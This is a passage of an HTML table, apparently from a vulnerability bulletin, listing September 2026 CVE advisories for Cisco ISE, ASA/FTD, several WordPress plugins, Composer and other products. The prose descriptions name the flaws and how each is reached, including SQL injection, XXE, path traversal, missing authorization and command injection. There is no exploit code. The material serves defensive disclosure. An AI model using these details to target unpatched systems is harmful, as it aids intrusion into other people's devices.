&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76439&quot; target=&quot;_blank&quot;&gt;CVE-2026-76439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in an internal service of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to retrieve sensitive configuration information from an affected device. This vulnerability is due to missing authentication on the Policy Runtime Repository Table (PRRT) service. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to obtain sensitive configuration information from the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76444&quot; target=&quot;_blank&quot;&gt;CVE-2026-76444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the Online Certificate Status Protocol (OCSP) responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a function of the OCSP responder. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to cause the OCSP responder to reload certificate and key material on demand.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76447&quot; target=&quot;_blank&quot;&gt;CVE-2026-76447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to obtain sensitive information from network users that are outside the security group that the attacker is assigned to. &amp;amp;nbsp; This vulnerability exists because certain files lack proper authorization enforcement. An attacker with administrative privileges and management rights over network users could exploit this vulnerability by exporting the&amp;amp;nbsp;users. A successful exploit could allow the attacker to view passwords that are normally not visible to administrators.&amp;amp;nbsp;&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20072&quot; target=&quot;_blank&quot;&gt;CVE-2026-20072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the API of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to view sensitive information on an affected device. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to insufficient validation of user-supplied parameters in API requests. An attacker could exploit this vulnerability by sending a crafted API request to an affected device. A successful exploit could allow the attacker to gain access to sensitive information, including hashed credentials that could be used in future attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20235&quot; target=&quot;_blank&quot;&gt;CVE-2026-20235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco ISE could allow an authenticated, remote attacker to obtain write access on the underlying operating system of an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain write access to the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials. Note: For CVE-2026-20282, Cisco has assigned a Security Impact Rating (SIR) of High rather than Medium as the score indicates. The reason is that it is easy to get to root from the achieved privilege level.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20282&quot; target=&quot;_blank&quot;&gt;CVE-2026-20282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to modify parts of the configuration on an affected device. This vulnerability is due to the lack of server-side validation of&amp;amp;nbsp;Administrator&amp;amp;nbsp;permissions. An attacker could exploit this vulnerability by submitting a crafted HTTP request to an affected system. A successful exploit could allow the attacker to modify descriptions of files on a specific page. To exploit this vulnerability, an attacker would need valid&amp;amp;nbsp;Administrator credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20285&quot; target=&quot;_blank&quot;&gt;CVE-2026-20285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco Identify Services Engine (ISE) could allow an authenticated, remote attacker to modify parts of the configuration on an affected device. This vulnerability is due to the lack of server-side validation of&amp;amp;nbsp;Administrator&amp;amp;nbsp;permissions. An attacker could exploit this vulnerability by submitting a crafted HTTP request to an affected system. A successful exploit could allow the attacker to modify descriptions of files on a specific page. To exploit this vulnerability, an attacker would need valid&amp;amp;nbsp;Administrator credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20286&quot; target=&quot;_blank&quot;&gt;CVE-2026-20286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct SQL injection attacks against the monitoring database. This vulnerability is due to insufficient validation of specific parameters that are then concatenated into an SQL statement. An attacker could exploit this vulnerability by sending a crafted request that contains SQL statements in one of the affected parameters. A successful exploit could allow the attacker to read information from the monitoring database. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76426&quot; target=&quot;_blank&quot;&gt;CVE-2026-76426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the offline profiler feed service of Cisco ISE could allow an authenticated, remote attacker to read arbitrary files that are stored on an affected device. This vulnerability is due to the parsing of attacker-controlled feed metadata with an XML parser that does not disable external entity resolution. An attacker could exploit this vulnerability by uploading a crafted offline feed package through the administrative interface. A successful exploit could allow the attacker to read arbitrary files from the file system and issue requests to internal systems from the affected device. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76427&quot; target=&quot;_blank&quot;&gt;CVE-2026-76427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the REST APIs of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct SQL injection attacks against the session database. This vulnerability is due to certain parameters being concatenated directly into SQL clauses without parameterization. An attacker could exploit this vulnerability by sending a crafted request that contains SQL statements in one of the affected parameters. A successful exploit could allow the attacker to read information from the session database. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76428&quot; target=&quot;_blank&quot;&gt;CVE-2026-76428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the file management function of the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to delete arbitrary files and directories on an affected device. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of directory traversal character sequences in a user-supplied file path before the request is validated. An attacker could exploit this vulnerability by sending a crafted request to the web-based management interface of an affected device. A successful exploit could allow the attacker to delete arbitrary files and directories on the underlying operating system of the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76431&quot; target=&quot;_blank&quot;&gt;CVE-2026-76431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker with administrative-level privileges to write arbitrary files on an affected device. This vulnerability exists because the affected software does not properly validate directory traversal character sequences in a user-supplied file path during the upload process. An attacker could exploit this vulnerability by uploading a crafted file to the affected system. A successful exploit could allow the attacker to write files to an arbitrary location on the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76432&quot; target=&quot;_blank&quot;&gt;CVE-2026-76432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the certificate import functionality of the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to read arbitrary files from the affected system. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to insufficient validation of user-supplied input by the affected feature. An attacker could exploit this vulnerability by sending a crafted request to the web-based management interface of an affected device. A successful exploit could allow the attacker to read arbitrary files from the affected device, which could contain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76434&quot; target=&quot;_blank&quot;&gt;CVE-2026-76434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in an API of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to read specific&amp;amp;nbsp;files on the underlying operating system of an affected device. This vulnerability is due to improper restriction of XML external entity references. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to read specific&amp;amp;nbsp;files on the affected system that the underlying process has permission to access.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76446&quot; target=&quot;_blank&quot;&gt;CVE-2026-76446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76448&quot; target=&quot;_blank&quot;&gt;CVE-2026-76448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76449&quot; target=&quot;_blank&quot;&gt;CVE-2026-76449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76450&quot; target=&quot;_blank&quot;&gt;CVE-2026-76450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76451&quot; target=&quot;_blank&quot;&gt;CVE-2026-76451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the DNS over TCP implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the TCP DNS&amp;amp;nbsp;response handler to unexpectedly restart, causing the device to reload. This vulnerability is due to a logic error when parsing a DNS query and tracking the size of the incoming buffers. An attacker could exploit this vulnerability by formatting a crafted reply to a DNS query sent from the targeted device. A successful exploit could allow the attacker to cause the device to reload, causing a denial of service (DoS) condition. Note: The attacker must be able to respond to DNS queries from the device, either by controlling the DNS service or through a machine-in-the-middle attack.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20248&quot; target=&quot;_blank&quot;&gt;CVE-2026-20248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the access control list (ACL) Object Group Search (OGS) implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access controls. This vulnerability is due to a logic error in populating group access control policies (ACPs) with OGS configured. An attacker could exploit this vulnerability by sending traffic that should be blocked through the device. A successful exploit could allow the attacker to bypass access controls and reach devices in protected networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20120&quot; target=&quot;_blank&quot;&gt;CVE-2026-20120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Adaptive Security Appliance (ASA) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the access control list (ACL) Object Group Search (OGS) implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access controls. This vulnerability is due to a logic error in populating group access control policies (ACPs) with OGS configured. An attacker could exploit this vulnerability by sending traffic that should be blocked through the device. A successful exploit could allow the attacker to bypass access controls and reach devices in protected networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20121&quot; target=&quot;_blank&quot;&gt;CVE-2026-20121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Threat Defense (FTD) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in SSL/TLS certificate parsing in the Snort 2 Detection Engine of Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the Snort 2 Detection Engine to restart. This vulnerability is due to incomplete validation of the SSL certificate. An attacker could exploit this vulnerability by sending a crafted SSL connection setup request to be parsed by Snort 2. A successful exploit could allow the attacker to cause the Snort 2 Detection Engine to restart unexpectedly, resulting in a denial of service (DoS) condition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20290&quot; target=&quot;_blank&quot;&gt;CVE-2026-20290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco ThousandEyes Enterprise Agent&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to inject arbitrary operating system commands. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by saving configuration details that contain malicious values. A successful exploit could allow the attacker to execute arbitrary operating system commands with root privileges. To exploit this vulnerability, the attacker must have valid administrative credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20350&quot; target=&quot;_blank&quot;&gt;CVE-2026-20350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cjbi--admin3&lt;/td&gt;
&lt;td&gt;admin3 through 3.0.0 fails to invalidate existing sessions when disabling a user account, allowing attackers to retain authenticated access with original permissions. Attackers can continue using bearer tokens issued before account disablement to authenticate requests, as the AuthInterceptor never re-validates the user&#039;s locked status and session expiry resets on each request.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92920&quot; target=&quot;_blank&quot;&gt;CVE-2026-92920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cjbi--admin3&lt;/td&gt;
&lt;td&gt;admin3 through 3.0.0 stores account passwords using single-round MD5 with only the username as salt and no key derivation function. Attackers with database access can recover plaintext passwords through offline dictionary or brute-force attacks due to negligible computational effort.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92921&quot; target=&quot;_blank&quot;&gt;CVE-2026-92921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Clean Login--Clean Login&lt;/td&gt;
&lt;td&gt;The Clean Login WordPress plugin before 1.19 does not check whether user registration is enabled before creating an account in its registration handler, allowing unauthenticated users to create accounts even when the site has registration disabled.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90976&quot; target=&quot;_blank&quot;&gt;CVE-2026-90976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Clean Login--Clean Login&lt;/td&gt;
&lt;td&gt;The Clean Login WordPress plugin before 1.19 does not verify its registration CAPTCHA when the stored session value is empty, allowing unauthenticated users to bypass the anti-automation control on the registration form and create accounts without solving it.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90977&quot; target=&quot;_blank&quot;&gt;CVE-2026-90977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cleverplugins--SEO Booster&lt;/td&gt;
&lt;td&gt;The SEO Booster plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 7.4.7. This is due to a missing capability check on the handle_oauth_callback() function which is hooked to admin_init and processes $_GET[&#039;access_token&#039;] and $_GET[&#039;google_email&#039;] without verifying the caller&#039;s role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the seobooster_access_token, seobooster_google_email, and seobooster_gsc_sites options and delete the seobooster_needs_reauth flag by visiting a crafted /wp-admin/ URL, disrupting the Google Search Console integration and injecting attacker-chosen data into site options via the attacker-supplied token that drives an outbound Google API request whose response is stored.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15660&quot; target=&quot;_blank&quot;&gt;CVE-2026-15660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Record Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in code-projects Record Management System 1.0. Affected is an unknown function of the file main/reg.php. Such manipulation of the argument desc leads to cross site scripting. The attack may be launched remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91854&quot; target=&quot;_blank&quot;&gt;CVE-2026-91854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CodeAstro--QR Code Attendance Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in CodeAstro QR Code Attendance Management System 1.0. This affects the function Save of the file app/Controllers/UserController.php. The manipulation of the argument role_id results in improper privilege management. The attack can be executed remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94048&quot; target=&quot;_blank&quot;&gt;CVE-2026-94048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codename065--Download Manager&lt;/td&gt;
&lt;td&gt;The Download Manager plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.3.68 via the duplicate() function hooked on admin_init. This is due to the handler only verifying the generic &#039;edit_posts&#039; capability and a plugin-wide static nonce (NONCE_KEY) without any object-level authorization check against the targeted wpdmpro package ID. This makes it possible for authenticated attackers, with Author-level access and above, to duplicate arbitrary Download Manager packages owned by other users (including administrators), which copies all package metadata - including protected file references, role-based access restrictions, and password lock settings - into an attacker-owned clone that they can then edit to remove restrictions and download the previously protected files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92714&quot; target=&quot;_blank&quot;&gt;CVE-2026-92714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codesupplyco--Advanced Popups&lt;/td&gt;
&lt;td&gt;The Advanced Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;Notification Button Link&#039; Field in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11996&quot; target=&quot;_blank&quot;&gt;CVE-2026-11996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;composer--composer&lt;/td&gt;
&lt;td&gt;Composer is a dependency Manager for the PHP language. From 1.0 until 2.2.30 and from 2.3.0 until 2.10.3, a malicious or compromised dependency can bypass the earlier CVE-2026-59946 binary-path hardening because Composer validates literal parent-directory segments only during dependency resolution, while the symlink and installed-metadata paths described by the advisory skip that validation. A package can ship an in-package binary symlink that resolves outside its installation directory, or attacker-influenced vendor/composer/installed.json metadata can provide an escaping binary path during a reinstall or regeneration of missing vendor/bin entries. The installed-metadata path is reachable only when the vendor directory was not populated by the same validated install run, such as when it is restored from an untrusted cache, copied from an earlier build stage, carried over from an older Composer run, or writable by a lower-trust build step. Composer can follow the path, change the external target&#039;s permissions to make it world-readable and executable, and create a runnable vendor/bin proxy to that external file. The issue does not directly read or transmit data and does not by itself provide remote code execution. This issue is fixed in versions 2.2.30 and 2.10.3.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59944&quot; target=&quot;_blank&quot;&gt;CVE-2026-59944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--CAN-2-WF&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82792&quot; target=&quot;_blank&quot;&gt;CVE-2026-82792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--CPSL-08P1EN&lt;/td&gt;
